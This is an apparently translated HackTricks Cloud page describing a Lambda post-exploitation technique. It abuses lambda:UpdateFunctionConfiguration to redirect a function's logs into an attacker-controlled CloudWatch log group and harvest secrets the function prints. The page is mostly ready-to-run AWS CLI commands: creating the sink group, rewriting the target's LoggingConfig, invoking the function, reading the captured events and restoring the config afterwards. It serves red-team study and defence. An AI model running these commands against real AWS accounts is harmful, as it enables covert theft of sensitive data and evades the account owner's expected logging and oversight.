AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
滥用 lambda:UpdateFunctionConfiguration 的高级日志控制,将函数的日志重定向到攻击者选择的 CloudWatch Logs log group。此方法无需更改代码或执行角色(大多数 Lambda 角色已通过 AWSLambdaBasicExecutionRole 包含 logs:CreateLogGroup/CreateLogStream/PutLogEvents)。如果函数打印 secrets/request bodies 或在崩溃时输出堆栈跟踪,你可以从新的日志组中收集它们。
Required permissions
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (或依赖现有触发器)
- logs:CreateLogGroup (如果函数角色已有该权限通常不需要)
- logs:FilterLogEvents (用于读取事件)
Steps
- 创建一个 sink log group
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
- 重定向目标函数日志
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
等待 LastUpdateStatus 变为 Successful:
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
- 调用并从 sink 读取
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
影响
- 悄悄将所有应用/系统 logs 重定向到你控制的 log group,绕过日志仅会落在
/aws/lambda/<fn>的预期。 - Exfiltrate 函数打印或在错误中暴露的敏感数据。
清理
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
注意
- 日志控制是 Lambda 的
LoggingConfig的一部分 (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel)。 - 默认情况下,Lambda 会将日志发送到
/aws/lambda/<function>,但你可以指向任何日志组名称;如果允许,Lambda(或执行角色)会创建它。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

